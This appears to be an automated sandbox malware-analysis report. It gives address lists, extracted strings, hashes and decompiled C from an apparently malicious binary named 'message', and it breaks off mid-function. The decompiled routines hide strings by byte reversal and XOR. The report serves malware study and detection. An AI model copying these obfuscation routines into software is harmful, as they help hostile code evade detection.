0x00404a6f
0x00404a77
0x00404a7f
0x00404a86
0x00404a8b
0x00404a90
0x00404a95
0x00404a9a
0x00404a9f
0x00404aa4
0x00404aa9
0x00404aae
0x00404ab3
0x00404ab8
0x00404abc
0x00404abe
0x00404ac2
0x00404ac7
0x00404acc
0x00404ad0
0x00404ad5
0x00404ada
0x00404adf
0x00404ae4
0x00404ae6
0x00404af0
0x00404af4
0x00404af8
0x00404afc
0x00404afd
0x00404b01
0x00404b02
0x00404b17
0x00404b1f
0x00404b2f
0x00404b37
0x00404b42
0x00404b4f
0x00404b55
0x00404b59
0x00404b5d
0x00404b65
0x00404b6d
0x00404b75
0x00404b7d
0x00404b85
0x00404b8c
0x00404b94
0x00404b9c
0x00404ba3
0x00404ba8
0x00404bad
0x00404bb2
0x00404bb6
0x00404bbb
0x00404bc0
0x00404bc4
0x00404bc9
0x00404bce
0x00404bd3
0x00404bd8
0x00404bdd
0x00404be2
0x00404be7
0x00404bec
0x00404bf1
0x00404bf3
0x00404c00
0x00404c04
0x00404c0c
0x00404c14
0x00404c15
0x00404c19
0x00404c1a
0x00404c28
0x00404c35
0x00404c43
0x00404c50
0x00404c5e
0x00404c6c
0x00404c7b
0x00404c88
0x00404c8f
0x00404c98
0x00404ca4
0x00404ca9
0x00404cb0
0x00404cb7
0x00404cbf
0x00404cc7
0x00404ccf
0x00404cd7
0x00404cdf
0x00404ce7
0x00404cef
0x00404cf7
0x00404cfe
0x00404d06
0x00404d0e
0x00404d16
0x00404d1e
0x00404d26
0x00404d2e
0x00404d36
0x00404d3d
0x00404d44
0x00404d4c
0x00404d53
0x00404d5a
0x00404d62
0x00404d6a
0x00404d72
0x00404d7a
0x00404d82
0x00404d87
0x00404d8c
0x00404d91
0x00404d96
0x00404d9b
0x00404da0
0x00404da5
0x00404daa
0x00404db4
0x00404db6
0x00404dbb
0x00404dc0
0x00404dc5
0x00404dc9
0x00404dd1
0x00404dd9
0x00404de1
0x00404deb
0x00404df4
0x00404df9
0x00404e01
0x00404e09
0x00404e10
0x00404e18
0x00404e1f
0x00404e26
0x00404e2e
0x00404e36
0x00404e3e
0x00404e46
0x00404e4d
0x00404e55
0x00404e5d
0x00404e65
0x00404e6d
0x00404e75
0x00404e7d
0x00404e85
0x00404e8d
0x00404e92
0x00404e97
0x00404e9c
0x00404ea1
0x00404ea6
0x00404eab
0x00404eb0
0x00404eba
0x00404ebc
0x00404ec1
0x00404ec6
0x00404ecb
0x00404ed0
0x00404ed5
0x00404eda
0x00404edf
0x00404ee4
0x00404ee9
0x00404eeb
0x00404ef0
0x00404ef4
0x00404ef8
0x00404efc
0x00404efd
0x00404f01
0x00404f02
0x00404f17
0x00404f25
0x00404f32
0x00404f40
0x00404f4e
0x00404f5b
0x00404f69
0x00404f77
0x00404f82
0x00404f89
0x00404f91
0x00404f98
0x00404f9c
0x00404fa0
0x00404fb6
0x00404fba
0x00404fbe
0x00404fc2
0x00404fd4
0x00404fd8
0x00404fdc
0x00404fe0
0x00404ff4
0x00404ff8
0x00404fff
0x00405004
0x00405009
0x0040500e
0x00405013
0x00405018
0x0040501d
0x00405022
0x00405026
0x0040502a
0x0040502e
0x00405033
0x00405040
0x00405045
0x0040504a
0x00000000
0x00000000
0x0040504c
0x00405050
0x00000000
0x00405054
0x00405066
0x00405066
0x00000000
0x00405050
0x00405080
0x00000000

Strings

o, xrefs: 00404E36
m, xrefs: 00405013
r, xrefs: 00404CBF
g, xrefs: 00405018
<, xrefs: 00404AA4
u, xrefs: 00405004
K, xrefs: 00404A6F
m, xrefs: 00404E2E
j, xrefs: 00404E55
u, xrefs: 00404B75
p, xrefs: 00405009
f, xrefs: 00404E92
3, xrefs: 00404A86
|, xrefs: 00404EB0
k, xrefs: 00404BA3
j, xrefs: 00404A48
H, xrefs: 004049F0
p, xrefs: 00404CFE
d, xrefs: 00404D0E
r, xrefs: 00404E9C
v, xrefs: 00404B65
d, xrefs: 0040500E
}, xrefs: 00404D7A
bewrd, xrefs: 00404FC2
n, xrefs: 00404E4D
m, xrefs: 00404D44
g, xrefs: 00404B6D
W, xrefs: 00404A9F
v, xrefs: 00404DC0
2, xrefs: 00404A90
4, xrefs: 00404D5A
V, xrefs: 00404A95
w, xrefs: 00404FFF
e, xrefs: 00404E10
edippugvawpubewrd, xrefs: 00404F91
], xrefs: 00404A8B
k, xrefs: 00404DB6
N, xrefs: 00404AA9
r, xrefs: 0040501D
a, xrefs: 00404DBB
G@,, xrefs: 00404996
U, xrefs: 00404ADA
e, xrefs: 00404CCF
a, xrefs: 00404BA8
w, xrefs: 00404CC7
d, xrefs: 00404EA6
d, xrefs: 00404DF9
v, xrefs: 00404BB6
(, xrefs: 004049E0
v, xrefs: 00404BAD
d, xrefs: 00404CB7
&, xrefs: 00404ECB
p, xrefs: 00404B7D
, xrefs: 00404AAE
e, xrefs: 00404A9A
i, xrefs: 00404D06
l, xrefs: 00404A67
R, xrefs: 00404E5D
a, xrefs: 00404E01
_, xrefs: 00404D6A
b, xrefs: 00404E26
n, xrefs: 00404E3E

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $&$($2$3$4$<$G@,$H$K$N$R$U$V$W$]$_$a$a$a$b$bewrd$d$d$d$d$d$e$e$e$edippugvawpubewrd$f$g$g$i$j$j$k$k$l$m$m$m$n$n$o$p$p$p$r$r$r$u$u$v$v$v$v$w$w$|$}
API String ID: 0-1999635860
Opcode ID: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
Instruction ID: dfcb897c3c3ddb5f64d256e8bd4ce8caa9f1c39f7f70016a84696abcb0595acb
Opcode Fuzzy Hash: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
Instruction Fuzzy Hash: EA12BE2010D7C18DE322C678945479FFFD11BA7618F484A9EE1E85B393D6BA8109CB77

Uniqueness

Uniqueness Score: -1.00%

Function 004108D0, Relevance: 71.6, Strings: 57, Instructions: 348
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E004108D0() {
				intOrPtr _v4;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				signed char _v53;
				signed char _v54;
				signed char _v55;
				signed char _v56;
				signed char _v57;
				signed char _v58;
				signed char _v59;
				signed char _v60;
				signed char _v63;
				signed char _v64;
				signed char _v65;
				signed char _v66;
				signed char _v67;
				signed char _v68;
				signed char _v72;
				signed char _v73;
				signed char _v74;
				signed char _v75;
				signed char _v76;
				char _v84;
				char _v92;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				signed int _v117;
				signed int _v118;
				signed int _v119;
				signed int _v120;
				char _v121;
				char _v122;
				signed int _v123;
				signed int _v124;
				char _v125;
				char _v126;
				signed int _v127;
				signed int _v128;
				signed int _v129;
				signed int _v130;
				signed int _v131;
				signed int _v132;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char* _v160;
				char* _v164;
				intOrPtr _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char* _v184;
				char* _v188;
				char* _v192;
				intOrPtr _t281;
				void* _t282;
				void* _t287;
				void* _t294;
				void* _t306;
				void* _t307;
				intOrPtr _t309;
				signed int _t311;
				intOrPtr* _t313;
				char _t324;
				void* _t329;
				char _t334;
				char _t343;
				intOrPtr _t350;
				char _t353;
				char _t356;
				char _t363;
				char _t369;
				intOrPtr _t378;
				intOrPtr _t379;
				void* _t380;
				void* _t381;

				_t381 =  &_v168;
				_t281 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t281;
				_v132 = 0x48;
				_v131 = 0x9c;
				_v130 = 0xf5;
				_v129 = 0x49;
				_v128 = 0xc2;
				_t282 = 0;
				_t324 = 4;
				do {
					_t353 =  *((intOrPtr*)(_t381 + _t282 + 0x30));
					 *((char*)(_t381 + _t282 + 0x30)) =  *((intOrPtr*)(_t381 + _t324 + 0x30));
					_t282 = _t282 + 1;
					 *((char*)(_t381 + _t324 + 0x30)) = _t353;
					_t324 = _t324 - 1;
				} while (_t282 < _t324);
				_v76 = _v132 ^ 0x000000b6;
				_v75 = _v131 ^ 0x0000002c;
				_v73 = _v129 ^ 0x000000e8;
				_v72 = _v128 ^ 0x00000048;
				_v74 = _v130 ^ 0x00000086;
				_v124 = 0xe9;
				_v123 = 0x4f;
				_v122 = 0x7b;
				_v121 = 0x5b;
				_v120 = 0x45;
				_v119 = 0x6d;
				_v118 = 0x70;
				_v117 = 0xcc;
				_t287 = 0;
				_t329 = 7;
				do {
					_t356 =  *((intOrPtr*)(_t381 + _t287 + 0x38));
					 *((char*)(_t381 + _t287 + 0x38)) =  *((intOrPtr*)(_t381 + _t329 + 0x38));
					_t287 = _t287 + 1;
					 *((char*)(_t381 + _t329 + 0x38)) = _t356;
					_t329 = _t329 - 1;
				} while (_t287 < _t329);
				_t43 =  &_v122; // 0x7b
				_v59 = _v123 ^ 0x00000019;
				_v60 = _v124 ^ 0x000000bc;
				_t47 =  &_v121; // 0x5b
				_v58 =  *_t43 ^ 0x0000000e;
				_v56 = _v120 ^ 0x0000002e;
				_v57 =  *_t47 ^ 0x00000031;
				_v55 = _v119 ^ 0x00000009;
				_v53 = _v117 ^ 0x000000e9;
				_v54 = _v118 ^ 0x0000002a;
				_v132 = 0x13;
				_v131 = 0x80;
				_v130 = 0xd4;
				_v129 = 0x84;
				_v128 = 0x46;
				_v127 = 0xa1;
				_t294 = 0;
				_t334 = 5;
				do {
					_t363 =  *((intOrPtr*)(_t381 + _t294 + 0x30));
					 *((char*)(_t381 + _t294 + 0x30)) =  *((intOrPtr*)(_t381 + _t334 + 0x30));
					_t294 = _t294 + 1;
					 *((char*)(_t381 + _t334 + 0x30)) = _t363;
					_t334 = _t334 - 1;
				} while (_t294 < _t334);
				_v66 = _v130 ^ 0x000000e8;
				_v68 = _v132 ^ 0x000000c9;
				_v63 = _v127 ^ 0x00000013;
				_v67 = _v131 ^ 0x00000023;
				_v65 = _v129 ^ 0x000000b8;
				_push(0x15);
				_v43 = 4;
				_v107 = 4;
				_push( &_v52);
				_v64 = _v128 ^ 0x000000ef;
				 *0x431c89 = 0x19;
				_v52 = 0x15;
				_v51 = 0x5b;
				_v50 = 0x4e;
				_v49 = 0xb8;
				_v48 = 0x25;
				_v47 = 0x36;
				_v46 = 0xbd;
				_v45 = 0xf0;
				_v44 = 0x42;
				_v42 = 0x81;
				_v41 = 0x58;
				_v40 = 0x60;
				_v39 = 0xea;
				_v38 = 0xd6;
				_v37 = 0x4c;
				_v36 = 0xeb;
				_v35 = 0x4b;
				_v34 = 0xed;
				_v33 = 0x96;
				_v32 = 0xae;
				_v116 = 0x29;
				_v115 = 0x64;
				_v114 = 5;
				_v113 = 0x6c;
				_v112 = 0;
				_v111 = 0x20;
				_v110 = 0x64;
				_v109 = 1;
				_v108 = 0x6d;
				_v106 = 0x72;
				_v105 = 0x17;
				_v104 = 0x65;
				_v103 = 0x1c;
				_v102 = 0x3c;
				_v101 = 0x6f;
				_v100 = 0x16;
				_v99 = 0x65;
				_v98 = 0x11;
				_v97 = 0x74;
				_v96 = 0x19;
				_t379 = E0040D980( &_v116);
				_v36 = 0x78;
				_v35 = 0x8e;
				_v34 = 0x63;
				_v33 = 0xf8;
				_v32 = 0x41;
				_v31 = 0xc4;
				_v30 = 0x77;
				_v29 = 0xec;
				_v28 = 0xc6;
				_v27 = 0x36;
				_v17 = 0xc6;
				_push(0x18);
				_t138 =  &_v36; // 0x41
				_v19 = 0x90;
				_v111 = 0x90;
				_v26 = 0xb7;
				_v25 = 0x30;
				_v24 = 0xb3;
				_v23 = 0x6c;
				_v22 = 0xa5;
				_v21 = 0x11;
				_v20 = 0x6f;
				_v18 = 0x73;
				_v16 = 0x20;
				_v15 = 0xf3;
				_v14 = 0x9b;
				_v13 = 0xbd;
				_v124 = 0xb5;
				_v123 = 0xf8;
				_v122 = 0x99;
				_v121 = 0xf0;
				_v120 = 0x9c;
				_v119 = 0xbc;
				_v118 = 0xe8;
				_v117 = 0x9a;
				_v116 = 0xfb;
				_v115 = 0x95;
				_v114 = 0xe6;
				_v113 = 0x87;
				_v112 = 0xe4;
				_v110 = 0xf9;
				_v109 = 0x96;
				_v108 = 0xf8;
				_v107 = 0xd8;
				_v106 = 0x9e;
				_v105 = 0xff;
				_v104 = 0x96;
				_v103 = 0xfa;
				_v102 = 0x9f;
				_v101 = 0xfb;
				_t378 = E0040D980( &_v124);
				_t343 = 0xd;
				_v119 = 0x35;
				_v108 = 0x35;
				_v132 = 0x2b;
				_v131 = 0x63;
				_v130 = 0x54;
				_v129 = 0xbc;
				_v128 = 0x6d;
				_v127 = 0x21;
				_v126 = 0xf4;
				_v125 = 0x2a;
				_v124 = 0x3c;
				_v123 = 0xd7;
				_v122 = 0x97;
				_v121 = 0xbf;
				_v120 = 0x79;
				_v107 = 0xd;
				_v106 = 0xcd;
				_v105 = 0xf8;
				_v104 = 0xa7;
				_v103 = 0x59;
				_v102 = 0x78;
				_v101 = 0xd4;
				_v100 = 0x53;
				_v99 = 8;
				_v98 = 0xca;
				_v97 = 0x26;
				_v96 = 6;
				_v95 = 0x78;
				_t306 = 0;
				do {
					_t369 =  *((intOrPtr*)(_t381 + _t306 + 0x58));
					 *((char*)(_t381 + _t306 + 0x58)) =  *((intOrPtr*)(_t381 + _t343 + 0x58));
					_t306 = _t306 + 1;
					 *((char*)(_t381 + _t343 + 0x58)) = _t369;
					_t343 = _t343 - 1;
				} while (_t306 < _t343);
				_t307 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t381 + _t307 + 0x40) =  *(_t381 + _t307 + 0x40) ^  *(_t381 + _t307 + 0x58);
					 *(_t381 + _t307 + 0x41) =  *(_t381 + _t307 + 0x41) ^  *(_t381 + _t307 + 0x59);
					_t307 = _t307 + 2;
				} while (_t307 < 0xe);
				_push(7);
				_push( &_v140);
				_v140 = 0x31;
				_v139 = 0x19;
				_v138 = 0x41;
				_v137 = 0xcf;
				_v136 = 0x52;
				_v135 = 0x3b;
				_v134 = 0xf5;
				_v148 = 0xf1;
				_v147 = 0xa2;
				_v146 = 0xd6;
				_v145 = 0xb7;
				_v144 = 0xc3;
				_v143 = 0xb6;
				_v142 = 0xc5;
				_t309 = E0040D980( &_v148);
				_v192 =  &_v100;
				_v188 =  &_v84;
				_v184 =  &_v92;
				_v168 = _t309;
				_v156 = 0x45;
				_v155 = 0x72;
				_v154 = 0x72;
				_v153 = 0x6f;
				_v152 = 0x72;
				_v151 = 0;
				_v116 = 0x47;
				_v115 = 0x6f;
				_v114 = 0x6f;
				_v113 = 0x64;
				_v112 = 0x20;
				_v111 = 0x64;
				_v110 = 0x61;
				_v109 = 0x79;
				_v108 = 0;
				_v180 = _t379;
				_v176 = _t378;
				_v172 =  &_v140;
				_v164 =  &_v156;
				_v160 =  &_v116;
				_t311 = E0040C1D0( &_v140);
				_t377 =  *((intOrPtr*)(_t381 + 0xc + _t311 % 9 * 4));
				_t313 =  *((intOrPtr*)(_t381 + 0xc + _t311 % 9 * 4));
				_t380 = _t313 + 1;
				do {
					_t350 =  *_t313;
					_t313 = _t313 + 1;
				} while (_t350 != 0);
				return E00424873(E004028A0(_v20, _t377, _t313 - _t380), _v36);
			}

0x004108d0
0x004108d6
0x004108dd
0x004108e4
0x004108e9
0x004108ee
0x004108f3
0x004108f8
0x004108fd
0x004108ff
0x00410910
0x00410914
0x00410918
0x0041091c
0x0041091d
0x00410921
0x00410922
0x00410937
0x0041093f
0x0041094f
0x00410953
0x00410957
0x0041095b
0x00410960
0x00410965
0x0041096a
0x0041096f
0x00410974
0x00410979
0x0041097e
0x00410983
0x00410985
0x00410990
0x00410994
0x00410998
0x0041099c
0x0041099d
0x004109a1
0x004109a2
0x004109ae
0x004109b7
0x004109bf
0x004109c3
0x004109cf
0x004109d7
0x004109df
0x004109ef
0x004109f3
0x004109f7
0x004109fb
0x00410a00
0x00410a05
0x00410a0a
0x00410a0f
0x00410a14
0x00410a19
0x00410a1b
0x00410a20
0x00410a24
0x00410a28
0x00410a2c
0x00410a2d
0x00410a31
0x00410a32
0x00410a47
0x00410a4f
0x00410a5f
0x00410a65
0x00410a6d
0x00410a71
0x00410a7a
0x00410a81
0x00410a8a
0x00410a8f
0x00410a93
0x00410a9a
0x00410aa2
0x00410aaa
0x00410ab2
0x00410aba
0x00410ac2
0x00410aca
0x00410ad2
0x00410ada
0x00410ae2
0x00410aea
0x00410af2
0x00410afa
0x00410b02
0x00410b0a
0x00410b12
0x00410b1a
0x00410b22
0x00410b2a
0x00410b32
0x00410b3a
0x00410b3f
0x00410b44
0x00410b49
0x00410b4e
0x00410b53
0x00410b58
0x00410b5d
0x00410b62
0x00410b67
0x00410b6c
0x00410b71
0x00410b75
0x00410b7a
0x00410b7f
0x00410b84
0x00410b89
0x00410b8d
0x00410b92
0x00410b97
0x00410ba1
0x00410ba7
0x00410baf
0x00410bb7
0x00410bbf
0x00410bc6
0x00410bce
0x00410bd6
0x00410bde
0x00410be6
0x00410bed
0x00410bf7
0x00410c00
0x00410c02
0x00410c09
0x00410c10
0x00410c19
0x00410c21
0x00410c29
0x00410c31
0x00410c39
0x00410c41
0x00410c49
0x00410c51
0x00410c59
0x00410c61
0x00410c69
0x00410c71
0x00410c79
0x00410c7e
0x00410c82
0x00410c87
0x00410c8c
0x00410c91
0x00410c96
0x00410c9b
0x00410ca0
0x00410ca4
0x00410ca9
0x00410cae
0x00410cb3
0x00410cb8
0x00410cbd
0x00410cc2
0x00410cc6
0x00410ccb
0x00410cd0
0x00410cd5
0x00410cda
0x00410cdf
0x00410ce4
0x00410ced
0x00410cf1
0x00410cf6
0x00410cfa
0x00410cfe
0x00410d03
0x00410d08
0x00410d0d
0x00410d12
0x00410d17
0x00410d1c
0x00410d21
0x00410d26
0x00410d2b
0x00410d30
0x00410d35
0x00410d3a
0x00410d3f
0x00410d43
0x00410d48
0x00410d4c
0x00410d51
0x00410d56
0x00410d5b
0x00410d60
0x00410d65
0x00410d6a
0x00410d6f
0x00410d74
0x00410d79
0x00410d7e
0x00410d80
0x00410d84
0x00410d88
0x00410d8c
0x00410d8d
0x00410d91
0x00410d92
0x00410d96
0x00410d98
0x00410da0
0x00410dae
0x00410db8
0x00410dbc
0x00410dbf
0x00410dc4
0x00410dca
0x00410dcf
0x00410dd4
0x00410dd9
0x00410dde
0x00410de3
0x00410de8
0x00410ded
0x00410df2
0x00410df7
0x00410dfc
0x00410e01
0x00410e06
0x00410e0b
0x00410e10
0x00410e15
0x00410e1e
0x00410e2a
0x00410e2e
0x00410e32
0x00410e42
0x00410e47
0x00410e4c
0x00410e51
0x00410e56
0x00410e5b
0x00410e60
0x00410e65
0x00410e6a
0x00410e6f
0x00410e74
0x00410e79
0x00410e7e
0x00410e83
0x00410e88
0x00410e8d
0x00410e91
0x00410e95
0x00410e99
0x00410e9d
0x00410ea1
0x00410eaf
0x00410eb3
0x00410eb5
0x00410eb8
0x00410eb8
0x00410eba
0x00410ebb
0x00410ee4

Strings

c, xrefs: 00410BB7
y, xrefs: 00410E83
L, xrefs: 00410B0A
[, xrefs: 00410AA2
c, xrefs: 00410D03
m, xrefs: 00410974
r, xrefs: 00410E4C
H, xrefs: 004108E4
B, xrefs: 00410ADA
x, xrefs: 00410D79
`, xrefs: 00410AF2
%, xrefs: 00410ABA
*, xrefs: 00410D21
1, xrefs: 00410DCF
o, xrefs: 00410E51
d, xrefs: 00410E79
&, xrefs: 00410D6F
O, xrefs: 00410960
o, xrefs: 00410B7F
Ax`B, xrefs: 00410C02, 00410C14
r, xrefs: 00410B67
d, xrefs: 00410B3F
y, xrefs: 00410D3A
r, xrefs: 00410E56
x, xrefs: 00410BA7
X, xrefs: 00410AEA
R, xrefs: 00410DE3
6, xrefs: 00410AC2
s, xrefs: 00410C51
d, xrefs: 00410E6F
;, xrefs: 00410DE8
S, xrefs: 00410D60
, xrefs: 00410B53
o, xrefs: 00410E6A
G@,, xrefs: 004108D6
6, xrefs: 00410BED
m, xrefs: 00410B62
0, xrefs: 00410C21
l, xrefs: 00410C31
, xrefs: 00410E74
p, xrefs: 00410979
o, xrefs: 00410E65
o, xrefs: 00410C49
<, xrefs: 00410D26
, xrefs: 00410C59
K, xrefs: 00410B1A
G, xrefs: 00410E60
r, xrefs: 00410E47
l, xrefs: 00410B49
<, xrefs: 00410B7A
I, xrefs: 004108F3
d, xrefs: 00410B58
a, xrefs: 00410E7E
E, xrefs: 00410E42
{O, xrefs: 004109AE
N, xrefs: 00410AAA
A, xrefs: 00410DD9

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$G@,$H$I$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-3724870216
Opcode ID: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
Instruction ID: 43956b3c6462715040061548aa2c3e0b9dcfe60922f62804308211c4145eee04
Opcode Fuzzy Hash: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
Instruction Fuzzy Hash: C312C02010D7C18DD362867C949878FFFD11BE7228F585A9DF1E84A3E3C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00411800, Relevance: 69.1, Strings: 55, Instructions: 399
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00411800(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				signed char _v8;
				signed char _v9;
				signed char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v32;
				intOrPtr _v36;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				signed char _v60;
				signed char _v61;
				signed char _v62;
				signed char _v63;
				signed char _v64;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				signed char _v124;
				signed char _v125;
				signed char _v126;
				signed char _v127;
				signed char _v128;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				signed int _v140;
				signed int _v141;
				signed int _v142;
				signed int _v143;
				signed int _v144;
				signed int _v145;
				signed int _v146;
				signed int _v147;
				signed char _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				signed char _v157;
				signed char _v158;
				signed char _v159;
				signed char _v160;
				signed char _v161;
				signed char _v162;
				signed char _v163;
				signed char _v164;
				signed int _v165;
				signed int _v166;
				signed int _v167;
				signed int _v168;
				signed int _v169;
				signed int _v170;
				signed int _v171;
				signed int _v172;
				signed int _v176;
				signed int _v177;
				signed int _v178;
				signed int _v179;
				signed int _v180;
				signed int _v184;
				signed int _v185;
				signed int _v186;
				signed int _v187;
				signed int _v188;
				signed char* _v192;
				signed char* _v196;
				char* _v200;
				signed char* _v204;
				char* _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				char* _v220;
				char* _v232;
				signed char* _v236;
				signed char* _v240;
				signed char* _v244;
				intOrPtr _v248;
				signed int* _v252;
				char _v253;
				char _v254;
				char _v255;
				void* _v256;
				signed char* _v260;
				char* _v264;
				char* _v268;
				intOrPtr _t299;
				signed char _t300;
				intOrPtr _t308;
				char _t310;
				char _t315;
				char _t327;
				char _t336;
				signed int _t344;
				intOrPtr* _t346;
				signed int _t349;
				intOrPtr* _t351;
				signed int _t354;
				intOrPtr* _t356;
				char _t362;
				void* _t372;
				void* _t377;
				intOrPtr _t392;
				intOrPtr _t395;
				intOrPtr _t398;
				void* _t439;
				intOrPtr _t441;
				void* _t442;
				void* _t443;
				void* _t444;
				void* _t447;
				void* _t448;
				void* _t449;
				void* _t450;
				void* _t451;
				intOrPtr _t456;
				intOrPtr _t457;
				void* _t458;
				void* _t459;
				void* _t460;

				_t460 =  &_v248;
				_t299 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t299;
				_v148 = 0xfb;
				_v147 = 0xb2;
				_v146 = 0x70;
				_v145 = 0x99;
				_v144 = 0xe4;
				_v143 = 0xd9;
				_v142 = 0x5e;
				_v141 = 0x4c;
				_v140 = 0x12;
				_t300 = 0;
				_t447 = 8;
				do {
					_t362 =  *((intOrPtr*)(_t460 + _t300 + 0x70));
					 *((char*)(_t460 + _t300 + 0x70)) =  *((intOrPtr*)(_t460 + _t447 + 0x70));
					_t300 = _t300 + 1;
					 *((char*)(_t460 + _t447 + 0x70)) = _t362;
					_t447 = _t447 - 1;
				} while (_t300 < _t447);
				_v16 = _v148 ^ 0x00000076;
				_v15 = _v147 ^ 0x00000023;
				_v14 = _v146 ^ 0x0000003d;
				_v13 = _v145 ^ 0x000000ac;
				_v12 = _v144 ^ 0x00000089;
				_push(__ebp);
				_v11 = _v143 ^ 0x000000fc;
				_v10 = _v142 ^ 0x0000001e;
				_push(7);
				_v9 = _v141 ^ 0x000000c6;
				_push( &_v24);
				 *0x431c89 = 0x19;
				_v8 = _v140 ^ 0x000000fb;
				_v24 = 0x69;
				_v23 = 0x43;
				_v22 = 0xd2;
				_v21 = 0x23;
				_v20 = 0x7c;
				_v19 = 0xfe;
				_v18 = 0x37;
				_v156 = 0xeb;
				_v155 = 0x99;
				_v154 = 0xfc;
				_v153 = 0x9d;
				_v152 = 0xf9;
				_v151 = 0x94;
				_v150 = 0xf1;
				_t308 = E0040D980( &_v156);
				_push(4);
				_push( &_v256);
				_t441 = _t308;
				_v256 = 0x48;
				_v255 = 0x64;
				_v254 = 0x47;
				_v253 = 0x87;
				_v172 = 0x3b;
				_v171 = 0x5f;
				_v170 = 0x30;
				_v169 = 0x53;
				_t456 = E0040D980( &_v172);
				_v112 = 0x74;
				_v111 = 0x65;
				_v110 = 0x78;
				_v109 = 0x74;
				_v108 = 0;
				_v128 = 0x66;
				_v127 = 0x69;
				_v126 = 0x6c;
				_v125 = 0x65;
				_v124 = 0;
				_v80 = 0x64;
				_v79 = 0x61;
				_v78 = 0x74;
				_v77 = 0x61;
				_v76 = 0;
				_v180 = 0x9f;
				_v179 = 0xdc;
				_v178 = 0x41;
				_v177 = 0xa3;
				_v176 = 0xc1;
				_t372 = 0;
				_t448 = 4;
				do {
					_t310 =  *((intOrPtr*)(_t460 + _t372 + 0x64));
					 *((char*)(_t460 + _t372 + 0x64)) =  *((intOrPtr*)(_t460 + _t448 + 0x64));
					_t372 = _t372 + 1;
					 *((char*)(_t460 + _t448 + 0x64)) = _t310;
					_t448 = _t448 - 1;
				} while (_t372 < _t448);
				_v63 = _v179 ^ 0x000000c6;
				_v64 = _v180 ^ 0x000000b5;
				_v60 = _v176 ^ 0x0000009f;
				_v62 = _v178 ^ 0x00000032;
				_v61 = _v177 ^ 0x000000a8;
				_v172 = 0x7d;
				_v171 = 0x90;
				_v170 = 0x5e;
				_v169 = 0x2c;
				_v168 = 0x83;
				_v167 = 0xe1;
				_v166 = 0xaf;
				_v165 = 0xc9;
				_t377 = 0;
				_t449 = 7;
				do {
					_t315 =  *((intOrPtr*)(_t460 + _t377 + 0x6c));
					 *((char*)(_t460 + _t377 + 0x6c)) =  *((intOrPtr*)(_t460 + _t449 + 0x6c));
					_t377 = _t377 + 1;
					 *((char*)(_t460 + _t449 + 0x6c)) = _t315;
					_t449 = _t449 - 1;
				} while (_t377 < _t449);
				_v164 = _v172 ^ 0x000000a4;
				_v163 = _v171 ^ 0x000000ca;
